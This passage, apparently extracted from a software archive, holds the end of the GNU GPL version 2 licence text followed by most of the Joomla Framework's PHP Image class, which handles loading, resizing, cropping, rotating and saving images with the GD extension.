redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. <one line to give the program's name and a brief idea of what it does.> Copyright (C) <year> <name of author> This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. <signature of Ty Coon>, 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Library General Public License instead of this License. PKÜ�\�^M(|(|!vendor/joomla/image/src/Image.phpnu�[���<?php /** * Part of the Joomla Framework Image Package * * @copyright Copyright (C) 2005 - 2018 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Image; use Psr\Log\LoggerAwareInterface; use Psr\Log\LoggerInterface; use Psr\Log\NullLogger; /** * Class to manipulate an image. * * @since 1.0 * @deprecated The joomla/image package is deprecated */ class Image implements LoggerAwareInterface { /** * @const integer * @since 1.0 */ const SCALE_FILL = 1; /** * @const integer * @since 1.0 */ const SCALE_INSIDE = 2; /** * @const integer * @since 1.0 */ const SCALE_OUTSIDE = 3; /** * @const integer * @since 1.0 */ const CROP = 4; /** * @const integer * @since 1.0 */ const CROP_RESIZE = 5; /** * @const integer * @since 1.0 */ const SCALE_FIT = 6; /** * @const string * @since 1.2.0 */ const ORIENTATION_LANDSCAPE = 'landscape'; /** * @const string * @since 1.2.0 */ const ORIENTATION_PORTRAIT = 'portrait'; /** * @const string * @since 1.2.0 */ const ORIENTATION_SQUARE = 'square'; /** * @var resource|\GdImage The image resource handle. * @since 1.0 */ protected $handle; /** * @var string The source image path. * @since 1.0 */ protected $path; /** * @var array Whether or not different image formats are supported. * @since 1.0 */ protected static $formats = array(); /** * @var LoggerInterface Logger object * @since 1.0 */ protected $logger; /** * @var boolean Flag if an image should use the best quality available. Disable for improved performance. * @since 1.4.0 */ protected $generateBestQuality = true; /** * Class constructor. * * @param mixed $source Either a file path for a source image or a GD resource handler for an image. * * @since 1.0 * @throws \RuntimeException */ public function __construct($source = null) { // Verify that GD support for PHP is available. if (!\extension_loaded('gd')) { // @codeCoverageIgnoreStart throw new \RuntimeException('The GD extension for PHP is not available.'); // @codeCoverageIgnoreEnd } // Determine which image types are supported by GD, but only once. if (!isset(static::$formats[IMAGETYPE_JPEG])) { $info = gd_info(); static::$formats[IMAGETYPE_JPEG] = ($info['JPEG Support']) ? true : false; static::$formats[IMAGETYPE_PNG] = ($info['PNG Support']) ? true : false; static::$formats[IMAGETYPE_GIF] = ($info['GIF Read Support']) ? true : false; } // If the source input is a resource, set it as the image handle. if ($this->isValidImage($source)) { $this->handle = &$source; } elseif (!empty($source) && \is_string($source)) { // If the source input is not empty, assume it is a path and populate the image handle. $this->loadFile($source); } } /** * Get the image resource handle * * @return resource * * @since 1.3.0 * @throws \LogicException if an image has not been loaded into the instance */ public function getHandle() { // Make sure the resource handle is valid. if (!$this->isLoaded()) { throw new \LogicException('No valid image was loaded.'); } return $this->handle; } /** * Get the logger. * * @return LoggerInterface * * @since 1.0 */ public function getLogger() { // If a logger hasn't been set, use NullLogger if (! ($this->logger instanceof LoggerInterface)) { $this->logger = new NullLogger; } return $this->logger; } /** * Sets a logger instance on the object * * @param LoggerInterface $logger A PSR-3 compliant logger. * * @return Image This object for message chaining. * * @since 1.0 */ public function setLogger(LoggerInterface $logger) { $this->logger = $logger; return $this; } /** * Method to return a properties object for an image given a filesystem path. * * The result object has values for image width, height, type, attributes, mime type, bits, and channels. * * @param string $path The filesystem path to the image for which to get properties. * * @return \stdClass * * @since 1.0 * @throws \InvalidArgumentException * @throws \RuntimeException */ public static function getImageFileProperties($path) { // Make sure the file exists. if (!file_exists($path)) { throw new \InvalidArgumentException('The image file does not exist.'); } // Get the image file information. $info = getimagesize($path); if (!$info) { // @codeCoverageIgnoreStart throw new \RuntimeException('Unable to get properties for the image.'); // @codeCoverageIgnoreEnd } // Build the response object. $properties = (object) array( 'width' => $info[0], 'height' => $info[1], 'type' => $info[2], 'attributes' => $info[3], 'bits' => isset($info['bits']) ? $info['bits'] : null, 'channels' => isset($info['channels']) ? $info['channels'] : null, 'mime' => $info['mime'], 'filesize' => filesize($path), 'orientation' => self::getOrientationString((int) $info[0], (int) $info[1]), ); return $properties; } /** * Method to detect whether an image's orientation is landscape, portrait or square. * * The orientation will be returned as a string. * * @return mixed Orientation string or null. * * @since 1.2.0 */ public function getOrientation() { if ($this->isLoaded()) { return self::getOrientationString($this->getWidth(), $this->getHeight()); } } /** * Compare width and height integers to determine image orientation. * * @param integer $width The width value to use for calculation * @param integer $height The height value to use for calculation * * @return string Orientation string * * @since 1.2.0 */ private static function getOrientationString($width, $height) { switch (true) { case $width > $height : return self::ORIENTATION_LANDSCAPE; case $width < $height : return self::ORIENTATION_PORTRAIT; default: return self::ORIENTATION_SQUARE; } } /** * Method to generate thumbnails from the current image. It allows * creation by resizing or cropping the original image. * * @param mixed $thumbSizes String or array of strings. Example: $thumbSizes = array('150x75','250x150'); * @param integer $creationMethod 1-3 resize $scaleMethod | 4 create cropping | 5 resize then crop * * @return array * * @since 1.0 * @throws \LogicException * @throws \InvalidArgumentException */ public function generateThumbs($thumbSizes, $creationMethod = self::SCALE_INSIDE) { // Make sure the resource handle is valid. if (!$this->isLoaded()) { throw new \LogicException('No valid image was loaded.'); } // Accept a single thumbsize string as parameter if (!\is_array($thumbSizes)) { $thumbSizes = array($thumbSizes); } // Process thumbs $generated = array(); if (!empty($thumbSizes)) { foreach ($thumbSizes as $thumbSize) { // Desired thumbnail size $size = explode('x', strtolower($thumbSize)); if (\count($size) != 2) { throw new \InvalidArgumentException('Invalid thumb size received: ' . $thumbSize); } $thumbWidth = $size[0]; $thumbHeight = $size[1]; switch ($creationMethod) { // Crop case self::CROP: $thumb = $this->crop($thumbWidth, $thumbHeight, null, null, true); break; // Crop-resize case self::CROP_RESIZE: $thumb = $this->cropResize($thumbWidth, $thumbHeight, true); break; default: $thumb = $this->resize($thumbWidth, $thumbHeight, true, $creationMethod); break; } // Store the thumb in the results array $generated[] = $thumb; } } return $generated; } /** * Method to create thumbnails from the current image and save them to disk. It allows creation by resizing * or cropping the original image. * * @param mixed $thumbSizes string or array of strings. Example: $thumbSizes = array('150x75','250x150'); * @param integer $creationMethod 1-3 resize $scaleMethod | 4 create cropping * @param string $thumbsFolder destination thumbs folder. null generates a thumbs folder in the image folder * * @return array * * @since 1.0 * @throws \LogicException * @throws \InvalidArgumentException */ public function createThumbs($thumbSizes, $creationMethod = self::SCALE_INSIDE, $thumbsFolder = null) { // Make sure the resource handle is valid. if (!$this->isLoaded()) { throw new \LogicException('No valid image was loaded.'); } // No thumbFolder set -> we will create a thumbs folder in the current image folder if ($thumbsFolder === null) { $thumbsFolder = \dirname($this->getPath()) . '/thumbs'; } // Check destination if (!is_dir($thumbsFolder) && (!is_dir(\dirname($thumbsFolder)) || !@mkdir($thumbsFolder))) { throw new \InvalidArgumentException('Folder does not exist and cannot be created: ' . $thumbsFolder); } // Process thumbs $thumbsCreated = array(); if ($thumbs = $this->generateThumbs($thumbSizes, $creationMethod)) { // Parent image properties $imgProperties = static::getImageFileProperties($this->getPath()); foreach ($thumbs as $thumb) { // Get thumb properties $thumbWidth = $thumb->getWidth(); $thumbHeight = $thumb->getHeight(); // Generate thumb name $filename = pathinfo($this->getPath(), PATHINFO_FILENAME); $fileExtension = pathinfo($this->getPath(), PATHINFO_EXTENSION); $thumbFileName = $filename . '_' . $thumbWidth . 'x' . $thumbHeight . '.' . $fileExtension; // Save thumb file to disk $thumbFileName = $thumbsFolder . '/' . $thumbFileName; if ($thumb->toFile($thumbFileName, $imgProperties->type)) { // Return Image object with thumb path to ease further manipulation $thumb->path = $thumbFileName; $thumbsCreated[] = $thumb; } } } return $thumbsCreated; } /** * Method to crop the current image. * * @param mixed $width The width of the image section to crop in pixels or a percentage. * @param mixed $height The height of the image section to crop in pixels or a percentage. * @param integer $left The number of pixels from the left to start cropping. * @param integer $top The number of pixels from the top to start cropping. * @param boolean $createNew If true the current image will be cloned, cropped and returned; else * the current image will be cropped and returned. * * @return Image * * @since 1.0 * @throws \LogicException */ public function crop($width, $height, $left = null, $top = null, $createNew = true) { // Sanitize width. $width = $this->sanitizeWidth($width, $height); // Sanitize height. $height = $this->sanitizeHeight($height, $width); // Autocrop offsets if ($left === null) { $left = round(($this->getWidth() - $width) / 2); } if ($top === null) { $top = round(($this->getHeight() - $height) / 2); } // Sanitize left. $left = $this->sanitizeOffset($left); // Sanitize top. $top = $this->sanitizeOffset($top); // Create the new truecolor image handle. $handle = imagecreatetruecolor($width, $height); // Allow transparency for the new image handle. imagealphablending($handle, false); imagesavealpha($handle, true); if ($this->isTransparent()) { // Get the transparent color values for the current image. $rgba = imagecolorsforindex($this->getHandle(), imagecolortransparent($this->getHandle())); $color = imagecolorallocatealpha($handle, $rgba['red'], $rgba['green'], $rgba['blue'], $rgba['alpha']); // Set the transparent color values for the new image. imagecolortransparent($handle, $color); imagefill($handle, 0, 0, $color); } if (!$this->generateBestQuality) { imagecopyresized($handle, $this->getHandle(), 0, 0, $left, $top, $width, $height, $width, $height); } else { imagecopyresampled($handle, $this->getHandle(), 0, 0, $left, $top, $width, $height, $width, $height); } // If we are cropping to a new image, create a new Image object. if ($createNew) { // @codeCoverageIgnoreStart return new static($handle); // @codeCoverageIgnoreEnd } // Swap out the current handle for the new image handle. $this->destroy(); $this->handle = $handle; return $this; } /** * Method to apply a filter to the image by type. Two examples are: grayscale and sketchy. * * @param string $type The name of the image filter to apply. * @param array $options An array of options for the filter. * * @return Image * * @since 1.0 * @see Joomla\Image\Filter * @throws \LogicException */ public function filter($type, array $options = array()) { // Make sure the resource handle is valid. if (!$this->isLoaded()) { throw new \LogicException('No valid image was loaded.'); } // Get the image filter instance. $filter = $this->getFilterInstance($type); // Execute the image filter. $filter->execute($options); return $this; } /** * Method to get the height of the image in pixels. * * @return integer * * @since 1.0 * @throws \LogicException */ public function getHeight() { return imagesy($this->getHandle()); } /** * Method to get the width of the image in pixels. * * @return integer * * @since 1.0 * @throws \LogicException */ public function getWidth() { return imagesx($this->getHandle()); } /** * Method to return the path * * @return string * * @since 1.0 */ public function getPath() { return $this->path; } /** * Method to determine whether or not an image has been loaded into the object. * * @return boolean * * @since 1.0 */ public function isLoaded() { // Make sure the resource handle is valid. return $this->isValidImage($this->handle); } /** * Method to determine whether or not the image has transparency. * * @return boolean * * @since 1.0 * @throws \LogicException */ public function isTransparent() { return imagecolortransparent($this->getHandle()) >= 0; } /** * Method to load a file into the Image object as the resource. * * @param string $path The filesystem path to load as an image. * * @return void * * @since 1.0 * @throws \InvalidArgumentException * @throws \RuntimeException */ public function loadFile($path) { // Destroy the current image handle if it exists $this->destroy(); // Make sure the file exists. if (!file_exists($path)) { throw new \InvalidArgumentException('The image file does not exist.'); } // Get the image properties. $properties = static::getImageFileProperties($path); // Attempt to load the image based on the MIME-Type switch ($properties->mime) { case 'image/gif': // Make sure the image type is supported. if (empty(static::$formats[IMAGETYPE_GIF])) { // @codeCoverageIgnoreStart $this->getLogger()->error('Attempting to load an image of unsupported type GIF.'); throw new \RuntimeException('Attempting to load an image of unsupported type GIF.'); // @codeCoverageIgnoreEnd } // Attempt to create the image handle. $handle = imagecreatefromgif($path); if (!$this->isValidImage($handle)) { // @codeCoverageIgnoreStart throw new \RuntimeException('Unable to process GIF image.'); // @codeCoverageIgnoreEnd } $this->handle = $handle; break; case 'image/jpeg': // Make sure the image type is supported. if (empty(static::$formats[IMAGETYPE_JPEG])) { // @codeCoverageIgnoreStart $this->getLogger()->error('Attempting to load an image of unsupported type JPG.'); throw new \RuntimeException('Attempting to load an image of unsupported type JPG.'); // @codeCoverageIgnoreEnd } // Attempt to create the image handle. $handle = imagecreatefromjpeg($path); if (!$this->isValidImage($handle)) { // @codeCoverageIgnoreStart throw new \RuntimeException('Unable to process JPG image.'); // @codeCoverageIgnoreEnd } $this->handle = $handle; break; case 'image/png': // Make sure the image type is supported. if (empty(static::$formats[IMAGETYPE_PNG])) { // @codeCoverageIgnoreStart $this->getLogger()->error('Attempting to load an image of unsupported type PNG.'); throw new \RuntimeException('Attempting to load an image of unsupported type PNG.'); // @codeCoverageIgnoreEnd } // Attempt to create the image handle. $handle = imagecreatefrompng($path); if (!$this->isValidImage($handle)) { // @codeCoverageIgnoreStart throw new \RuntimeException('Unable to process PNG image.'); // @codeCoverageIgnoreEnd } $this->handle = $handle; break; default: $this->getLogger()->error('Attempting to load an image of unsupported type ' . $properties->mime); throw new \InvalidArgumentException('Attempting to load an image of unsupported type ' . $properties->mime); } // Set the filesystem path to the source image. $this->path = $path; } /** * Method to resize the current image. * * @param mixed $width The width of the resized image in pixels or a percentage. * @param mixed $height The height of the resized image in pixels or a percentage. * @param boolean $createNew If true the current image will be cloned, resized and returned; else * the current image will be resized and returned. * @param integer $scaleMethod Which method to use for scaling * * @return Image * * @since 1.0 * @throws \LogicException */ public function resize($width, $height, $createNew = true, $scaleMethod = self::SCALE_INSIDE) { // Sanitize width. $width = $this->sanitizeWidth($width, $height); // Sanitize height. $height = $this->sanitizeHeight($height, $width); // Prepare the dimensions for the resize operation. $dimensions = $this->prepareDimensions($width, $height, $scaleMethod); // Instantiate offset. $offset = new \stdClass; $offset->x = $offset->y = 0; // Center image if needed and create the new truecolor image handle. if ($scaleMethod == self::SCALE_FIT) { // Get the offsets $offset->x = round(($width - $dimensions->width) / 2); $offset->y = round(($height - $dimensions->height) / 2); $handle = imagecreatetruecolor($width, $height); // Make image transparent, otherwise canvas outside initial image would default to black if (!$this->isTransparent()) { $transparency = imagecolorallocatealpha($this->getHandle(), 0, 0, 0, 127); imagecolortransparent($this->getHandle(), $transparency); } } else { $handle = imagecreatetruecolor($dimensions->width, $dimensions->height); } // Allow transparency for the new image handle. imagealphablending($handle, false); imagesavealpha($handle, true); if ($this->isTransparent()) { // Get the transparent color values for the current image. $rgba = imagecolorsforindex($this->getHandle(), imagecolortransparent($this->getHandle())); $color = imagecolorallocatealpha($handle, $rgba['red'], $rgba['green'], $rgba['blue'], $rgba['alpha']); // Set the transparent color values for the new image. imagecolortransparent($handle, $color); imagefill($handle, 0, 0, $color); } if (!$this->generateBestQuality) { imagecopyresized( $handle, $this->getHandle(), $offset->x, $offset->y, 0, 0, $dimensions->width, $dimensions->height, $this->getWidth(), $this->getHeight() ); } else { // Use resampling for better quality imagecopyresampled( $handle, $this->getHandle(), $offset->x, $offset->y, 0, 0, $dimensions->width, $dimensions->height, $this->getWidth(), $this->getHeight() ); } // If we are resizing to a new image, create a new JImage object. if ($createNew) { // @codeCoverageIgnoreStart return new static($handle); // @codeCoverageIgnoreEnd } // Swap out the current handle for the new image handle. $this->destroy(); $this->handle = $handle; return $this; } /** * Method to crop an image after resizing it to maintain * proportions without having to do all the set up work. * * @param integer $width The desired width of the image in pixels or a percentage. * @param integer $height The desired height of the image in pixels or a percentage. * @param integer $createNew If true the current image will be cloned, resized, cropped and returned. * * @return Image * * @since 1.0 */ public function cropResize($width, $height, $createNew = true) { $width = $this->sanitizeWidth($width, $height); $height = $this->sanitizeHeight($height, $width); $resizewidth = $width; $resizeheight = $height; if (($this->getWidth() / $width) < ($this->getHeight() / $height)) { $resizeheight = 0; } else { $resizewidth = 0; } return $this->resize($resizewidth, $resizeheight, $createNew)->crop($width, $height, null, null, false); } /** * Method to rotate the current image. * * @param mixed $angle The angle of rotation for the image * @param integer $background The background color to use when areas are added due to rotation * @param boolean $createNew If true the current image will be cloned, rotated and returned; else * the current image will be rotated and returned. * * @return Image * * @since 1.0 * @throws \LogicException */ public function rotate($angle, $background = -1, $createNew = true) { // Sanitize input $angle = (float) $angle; // Create the new truecolor image handle. $handle = imagecreatetruecolor($this->getWidth(), $this->getHeight()); // Make background transparent if no external background color is provided. if ($background == -1) { // Allow transparency for the new image handle. imagealphablending($handle, false); imagesavealpha($handle, true); $background = imagecolorallocatealpha($handle, 0, 0, 0, 127); } // Copy the image imagecopy($handle, $this->getHandle(), 0, 0, 0, 0, $this->getWidth(), $this->getHeight()); // Rotate the image $handle = imagerotate($handle, $angle, $background); // If we are resizing to a new image, create a new Image object. if ($createNew) { // @codeCoverageIgnoreStart return new static($handle); // @codeCoverageIgnoreEnd } // Swap out the current handle for the new image handle. $this->destroy(); $this->handle = $handle; return $this; } /** * Method to flip the current image. * * @param integer $mode The flip mode for flipping the image {@link https://www.php.net/imageflip#refsect1-function.imageflip-parameters} * @param boolean $createNew If true the current image will be cloned, flipped and returned; else * the current image will be flipped and returned. * * @return Image * * @since 1.2.0 * @throws \LogicException */ public function flip($mode, $createNew = true) { // Create the new truecolor image handle. $handle = imagecreatetruecolor($this->getWidth(), $this->getHeight()); // Copy the image imagecopy($handle, $this->getHandle(), 0, 0, 0, 0, $this->getWidth(), $this->getHeight()); // Flip the image if (!imageflip($handle, $mode)) { throw new \LogicException('Unable to flip the image.'); } // If we are resizing to a new image, create a new Image object. if ($createNew) { // @codeCoverageIgnoreStart return new static($handle); // @codeCoverageIgnoreEnd } // Free the memory from the current handle $this->destroy(); // Swap out the current handle for the new image handle. $this->handle = $handle; return $this; } /** * Watermark the image * * @param Image $watermark The Image object containing the watermark graphic * @param integer $transparency The transparency to use for the watermark graphic * @param integer $bottomMargin The margin from the bottom of this image * @param integer $rightMargin The margin from the right side of this image * * @return Image * * @since 1.3.0 * @link https://www.php.net/manual/en/image.examples-watermark.php */ public function watermark(Image $watermark, $transparency = 50, $bottomMargin = 0, $rightMargin = 0) { imagecopymerge( $this->getHandle(), $watermark->getHandle(), $this->getWidth() - $watermark->getWidth() - $rightMargin, $this->getHeight() - $watermark->getHeight() - $bottomMargin, 0, 0, $watermark->getWidth(), $watermark->getHeight(), $transparency ); return $this; } /** * Method to write the current image out to a file or output directly. * * @param mixed $path The filesystem path to save the image. * When null, the raw image stream will be outputted directly. * @param integer $type The image type to save the file as. * @param array $options The image type options to use in saving the file. * For PNG and JPEG formats use `quality` key to set compression level (0..9 and 0..100) * * @return boolean * * @link https://www.php.net/manual/image.constants.php * @since 1.0 * @throws \LogicException */ public function toFile($path, $type = IMAGETYPE_JPEG, array $options = array()) { switch ($type) { case IMAGETYPE_GIF: return imagegif($this->getHandle(), $path); case IMAGETYPE_PNG: return imagepng($this->getHandle(), $path, (array_key_exists('quality', $options)) ? $options['quality'] : 0); } // Case IMAGETYPE_JPEG & default return imagejpeg($this->getHandle(), $path, (array_key_exists('quality', $options)) ? $options['quality'] : 100); } /** * Method to get an image filter instance of a specified type. * * @param string $type The image filter type to get. * * @return ImageFilter * * @since 1.0 * @throws \RuntimeException */ protected function getFilterInstance($type) { // Sanitize the filter type. $type = strtolower(preg_replace('#[^A-Z0-9_]#i', '', $type)); // Verify that the filter type exists. $className = 'Joomla\\Image\\Filter\\' . ucfirst($type); if (!class_exists($className)) { $this->getLogger()->error('The ' . ucfirst($type) . ' image filter is not available.'); throw new \RuntimeException('The ' . ucfirst($type) . ' image filter is not available.'); } // Instantiate the filter object. $instance = new $className($this->getHandle()); // Verify that the filter type is valid. if (!($instance instanceof ImageFilter)) { // @codeCoverageIgnoreStart $this->getLogger()->error('The ' . ucfirst($type) . ' image filter is not valid.'); throw new \RuntimeException('The ' . ucfirst($type) . ' image filter is not valid.'); // @codeCoverageIgnoreEnd } return $instance; } /** * Method to get the new dimensions for a resized image. * * @param integer $width The width of the resized image in pixels. * @param integer $height The height of the resized image in pixels. * @param integer $scaleMethod The method to use for scaling * * @return \stdClass * * @since 1.0 * @throws \InvalidArgumentException If width, height or both given as zero */ protected function prepareDimensions($width, $height, $scaleMethod) { // Instantiate variables. $dimensions = new \stdClass; switch ($scaleMethod) { case self::SCALE_FILL: $dimensions->width = (int) round($width); $dimensions->height = (int) round($height); break; case self::SCALE_INSIDE: case self::SCALE_OUTSIDE: case self::SCALE_FIT: $rx = ($width > 0) ? ($this->getWidth() / $width) : 0; $ry = ($height > 0) ? ($this->getHeight() / $height) : 0; if ($scaleMethod != self::SCALE_OUTSIDE) { $ratio = max($rx, $ry); } else { $ratio = min($rx, $ry); } $dimensions->width = (int) round($this->getWidth() / $ratio); $dimensions->height = (int) round($this->getHeight() / $ratio); break; default: throw new \InvalidArgumentException('Invalid scale method.'); } return $dimensions; } /** * Method to sanitize a height value. * * @param mixed $height The input height value to sanitize. * @param mixed $width The input width value for reference. * * @return integer * * @since 1.0 */ protected function sanitizeHeight($height, $width) { // If no height was given we will assume it is a square and use the width. $height = ($height === null) ? $width : $height; // If we were given a percentage, calculate the integer value. if (preg_match('/^[0-9]+(\.[0-9]+)?\%$/', $height)) { $height = (int) round($this->getHeight() * (float) str_replace('%', '', $height) / 100); } else { // Else do some rounding so we come out with a sane integer value. $height = (int) round((float) $height); } return $height; } /** * Method to sanitize an offset value like left or top. * * @param 